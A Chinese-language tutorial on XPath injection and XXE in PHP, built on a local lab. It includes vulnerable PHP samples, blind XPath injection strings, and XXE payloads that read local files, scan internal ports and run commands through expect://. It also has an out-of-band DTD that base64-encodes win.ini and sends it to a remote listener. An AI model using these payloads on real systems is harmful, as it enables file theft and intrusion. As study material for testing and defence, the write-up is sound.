XML相關的安全漏洞-XXE,XPATH小結
0x00前言:
本文主要小結以下php下的xpath查詢xml結構的漏洞利用和XXE漏洞利用
xml是可擴充套件標記語言,它被設計出來是為了儲存傳輸資料的。
它的結構是樹形結構,並且標籤要成對出現比如下面這個例子
<?xml version="1.0" encoding="utf-8"?> <root> <name>sijidou</name> <from> <country>China</country> <city>xxxxx</city> </from> </root>
把上面的程式碼畫個示意圖
0x01xpath注入:
因為xml的產生是用於儲存和傳輸資料的
既然能夠儲存資料,那麼本質上和資料庫一樣是能夠被增刪改查的
雖然它在實際中不像資料庫一樣是來存大量使用者資料的,但是xml在儲存配置資訊上還是十分有用的
就像sql注入一樣,xml檔案也可以被注入,並且xml沒有管理使用者一說,即能訪問xml檔案的話,對該xml的許可權是一致的
首先準備下儲存資料的xml檔案
<?xml version="1.0" encoding="UTF-8"?> <root> <name>sijidou</name> <from> <country>China</country> <city>Jiangsu</city> </from> <name>miku</name> <from> <country>Janpan</country> <city>null</city> </from> <name>Rose</name> <from> <country>US</country> <city>London</city> </from> </root>
接下來使用php進行資料讀取的操作
simplexml_load_file是讀取xml檔案
xpath是查詢語句,結果以陣列返回給$result。查詢語句結構是每個節點間用 "/" 來隔開,之後使用標籤和鍵值匹配的結果
<?php $xml = simplexml_load_file("sijidou.xml"); $result = $xml->xpath("/root[name = 'sijidou']"); var_dump($result); ?>
這裡將不同的查詢語句和輸出結果展示如下
查詢語句
$result = $xml->xpath("/root/name");
輸出值
array(3) { [0]=> object(SimpleXMLElement)#2 (1) { [0]=> string(7) "sijidou" } [1]=> object(SimpleXMLElement)#3 (1) { [0]=> string(4) "miku" } [2]=> object(SimpleXMLElement)#4 (1) { [0]=> string(4) "Rose" } }
查詢語句
$result = $xml->xpath("/root[name = 'sijidou']");
輸出值
array(1) { [0]=> object(SimpleXMLElement)#2 (2) { ["name"]=> array(3) { [0]=> string(7) "sijidou" [1]=> string(4) "miku" [2]=> string(4) "Rose" } ["from"]=> array(3) { [0]=> object(SimpleXMLElement)#3 (2) { ["country"]=> string(5) "China" ["city"]=> string(7) "Jiangsu" } [1]=> object(SimpleXMLElement)#4 (2) { ["country"]=> string(6) "Janpan" ["city"]=> string(4) "null" } [2]=> object(SimpleXMLElement)#5 (2) { ["country"]=> string(2) "US" ["city"]=> string(6) "London" } } } }
查詢語句
$result = $xml->xpath("/root/from[country = 'China']");
輸出值
array(1) { [0]=> object(SimpleXMLElement)#2 (2) { ["country"]=> string(5) "China" ["city"]=> string(7) "Jiangsu" } }
從上面的結果看得出來,查詢如果不是用[鍵='值']這種方式的查詢,只會返回所有路徑標籤的值
如果帶有[鍵='值']的查詢,會返回和該路徑相同的所有路徑和該類路徑之下節點的所有的值
那麼查詢語句結構大致清楚了,作為被儲存資料的檔案,一般會把某個值使用者可控,然後拼接語句進行搜尋
<?php $country = $_GET["country"]; $xml = simplexml_load_file("sijidou.xml"); $result = $xml->xpath("/root/from[country = '" . $country . "']"); var_dump($result); ?>
正常的輸入China,那麼就會返回China和Jiangsu 2個值,但是xml查詢語句有一些特殊的關鍵字,先介紹2個基礎有用的
or 或 and 與
那麼我們子GET的值傳入country = '1' or '1'='1,可以看到能檢視到所有<from>的值,之前如果輸入country=China,只能看到包含China的<from>標籤裡面的值
那麼列出xml檔案的所有元素
']|//* |a[' 拼接成完整的語句是 /root/from[country = '']|//* |a['']
那麼其中涉及到一些特殊表示
|有點像linux系統命令的 && 來表示新的查詢語言起始 //* 根路徑下的所有引數 *是萬用字元
有時候沒有回顯的時候,就要利用判斷語句進行盲注了
判斷節點個數
1' or count(/*)=1 and '1'='1
猜欄位內容,查根節點的名字,如果按照我上面的xml檔案,這裡就是root
1' or substring(name(/*[position()=1]),1,1)='r' and '1'='1 1' or substring(name(/*[position()=1]),2,1)='o' and '1'='1
猜欄位內容,查根節點<root>下一個節點的名字,這裡是<name>
1' or substring(name(/root/*[position()=1]),1,1)='n' and '1'='1
判斷根節點的下一個節點個數
1' or count(/root/*)=3 and '1'='1
猜節點裡面內容
#查China節點 1' or substring(/root/from/country,1,1)='C' and '1'='1 #如果是查Janpan節點的話,要在前面的from加個下標 1' or substring(/root/from[2]/country,1,1)='J' and '1'='1
當然還有很多利用方法,有一個叫xcat的python工具可以進行測試,有興趣的可以去嘗試
防禦手段可以通過轉義單引號或者關鍵字識別來達到阻止注入。
0x02XXE:
XXE叫做XML外部實體注入
現在傳送資料的手段除了xml,還有json了,如果說兩者有什麼不同,xml是樹形結構,而json是鍵值對的關係,json的2個數據間沒有結構上的關係
一般的xml檔案是這樣的
<?xml version="1.0" encoding="utf-8"?> <root> <name>sijidou</name> <from> <country>China</country> <city>xxxxx</city> </from> </root>
這種無法就是儲存和被當做資料傳遞,並沒有執行什麼可疑的操作
但是xml有個叫做DTD( Document Type Definition
)的東西
它可以規定xml裡面的元素的行為,它的存在形式可以巢狀在xml檔案裡面,也可以單獨成為一個檔案,xml要使用其規則就直接新增一行引入就行
觀察xml和dtd的約束規律,理論上要寫java或者php或其他程式語言來檢查檔案,或報錯。但是菜鳥教程上有個頁面可以驗證是否正確,但是要IE瀏覽器
http://www.runoob.com/xml/xml-validator.html
內部申明
<!DOCTYPE 根元素 [元素宣告]>
套入上面的例子中
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (name,from)> <!ELEMENT name(#PCDATA)> <!ELEMENT from (country,city)> <!ELEMENT country (#PCDATA)> <!ENTITY wa "China"> <!ELEMENT city (#PCDATA)> ]> <root> <name>sijidou</name> <from><country>&wa;</country><city>xxxx</city> </from> </root>
丟到剛剛推薦的網頁上去檢查
假設刪掉一個city的元素宣告,就報錯了
DTD來規定xml意味著,DTD申明的元素下面xml必須包含,並且只能含有DTD申明的元素,(#PCDATA)為可讀取的欄位, (name, from)表示還包含子節點,它是個根節點或者中間節點
DOCTYPE可以理解為DTD檔案起始,ELEMENT是對每個節點的規定,ENTITY給變數賦值,也就像程式設計時候的常數變數
外部申明
<!DOCTYPE 根元素 SYSTEM "檔名">
把規則先寫到一個單一的資料夾下,test_dtd.dtd
<!ELEMENT root (name,from)> <!ELEMENT name(#PCDATA)> <!ELEMENT from (country,city)> <!ELEMENT country (#PCDATA)> <!ENTITY wa "China"> <!ELEMENT city (#PCDATA)>
然後在xml中引入該檔案
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root SYSTEM "test_dtd.dtd"> <root> <name>sijidou</name> <from> <country>&wa;</country> <city>xxxx</city> </from> </root>
XXE這種攻擊手段就是通過外部申明實體來完成的,因為
<!DOCTYPE root SYSTEM "file">因為有時候是從web其他的站點引入dtd檔案的,所以這個file可以帶協議頭,比如file://,php://filter之類的
再者可以通過ENTITY來輸出變數的值,變數的值也可以是檔案
那麼我們可以利用把檔案內容賦值給變數,然後再輸出變數,就把檔案內容輸出來了
讀取檔案內容
漏洞原始碼
<?php $xmlfile =file_get_contents('php://input'); $xml = simplexml_load_string($xmlfile); $xxe = $xml->xxe; $str = "$xxe"; echo $str; ?>
然後是漏洞利用poc
<?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY c SYSTEM "file:///c:/windows/win.ini"> ]> <root> <xxe>&c;</xxe> </root>
看到可以成功讀取我本地電腦上的c:/windows/win.ini檔案了,但是貌似只能支援絕對路徑
埠掃描
掃描埠是利用http協議,帶上目標埠地址的ip,當然請求是目標伺服器發出的所以只要連了內網還能掃描內網的埠
<?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY c SYSTEM "http://127.0.0.1:80"> ]> <root> <xxe>&c;</xxe> </root>
成功的回顯
失敗的回顯
通過DTD進行資訊回顯
因為有時候xml是注入進去了,但是沒有回顯,比如以下情況
<?php $xmlfile =file_get_contents('php://input'); $xml = simplexml_load_string($xmlfile); ?>
傳送情況,啥都沒有,但是xml是進行了載入的
那麼可以通過dtd檔案進行回顯
原理是用載入遠端的dtd檔案,然後通過遠端的dtd檔案把file檔案內容以url後面引數的形式發給遠端伺服器,url的get引數會記錄在日誌中,於是就能獲得檔案內容
本地傳送的payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % send SYSTEM "http://10.10.10.128/evil.dtd"> %send; ]> <root>&xml;</root>
遠端的evil.dtd檔案
<?xml version="1.0" encoding="utf-8"?> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini"> <!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>"> %payload;
這裡的 %[空格]file 表示file這個變數,引數是 SYSTEM "..."
使用變數即%file;,之後那個單獨的%payload;那一行,表示執行第三行<!ENTITY % payload .....>這條語句,不加就不會執行
利用方式,首先在遠端伺服器上監聽2333埠
然後,burpsuite把poc發過去
回頭這邊的遠端伺服器接收到了資料了
看看wireshark的流量,也可也看到get請求
再把base64解個碼就是檔案的內容了
這裡特別要注意幾個點,因為最先測試的時候,並沒有完全使用網上的poc,想試著手寫以下,然後無法回顯,最後仔細研究了下
參考的XXE文章沒有提到
傳送的payload的
<root>&xml;</root>
要和遠端伺服器上的evil.dtd中的為payload引數的 <!ENTITY xml SYSTEM ....>裡面這個xml引數要一模一樣,不然無法利用成功
<!ENTITY % payload "<!ENTITY xml SYSTEM 'http://10.10.10.128:2333/record?text=%file;'>">
還有一點,因為win.ini裡面有空格換行或者其他奇怪的字元,如果直接傳送給遠端伺服器當get會不和規範,所以藉助php://filter進行編碼處理
遠端程式碼執行
這種情況需要php安裝並啟用expect外掛,那麼在xxe的時候能夠使用expect協議進行遠端程式碼執行
<?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY c SYSTEM "expect://dir"> ]> <root> <xxe>&c;</xxe> </root>
0x03無法利用:
我搭建的環境是win10 + phpstudy,最先使用的php版本是5.6,發現並無法利用xxe,然後測試了下所有的phpstudy上的php版本
發現5.4及以下能夠利用,而5.5及以上都無法利用
從這篇文章中找到了答案: https://www.jianshu.com/p/7325b2ef8fc9
原因是xmllib2.9.0以後,是預設不解析外部實體的
這裡我的php5.4的xmllib是2.7.8的
切換成php5.5,發現xmllib是2.9.4的了
0xFF結語:
參考連結
xml的攻擊手段: https://www.cnblogs.com/lcamry/p/5736998.html
xpath的基礎介紹: http://www.w3school.com.cn/xpath/xpath_syntax.asp
xpath注入利用: http://netsecurity.51cto.com/art/201401/427521.htm
https://www.cnblogs.com/backlion/p/8554749.html
XXE參考: https://www.cnblogs.com/ESHLkangi/p/9245404.html
https://www.cnblogs.com/ESHLkangi/p/9246327.html
https://www.freebuf.com/articles/web/177979.html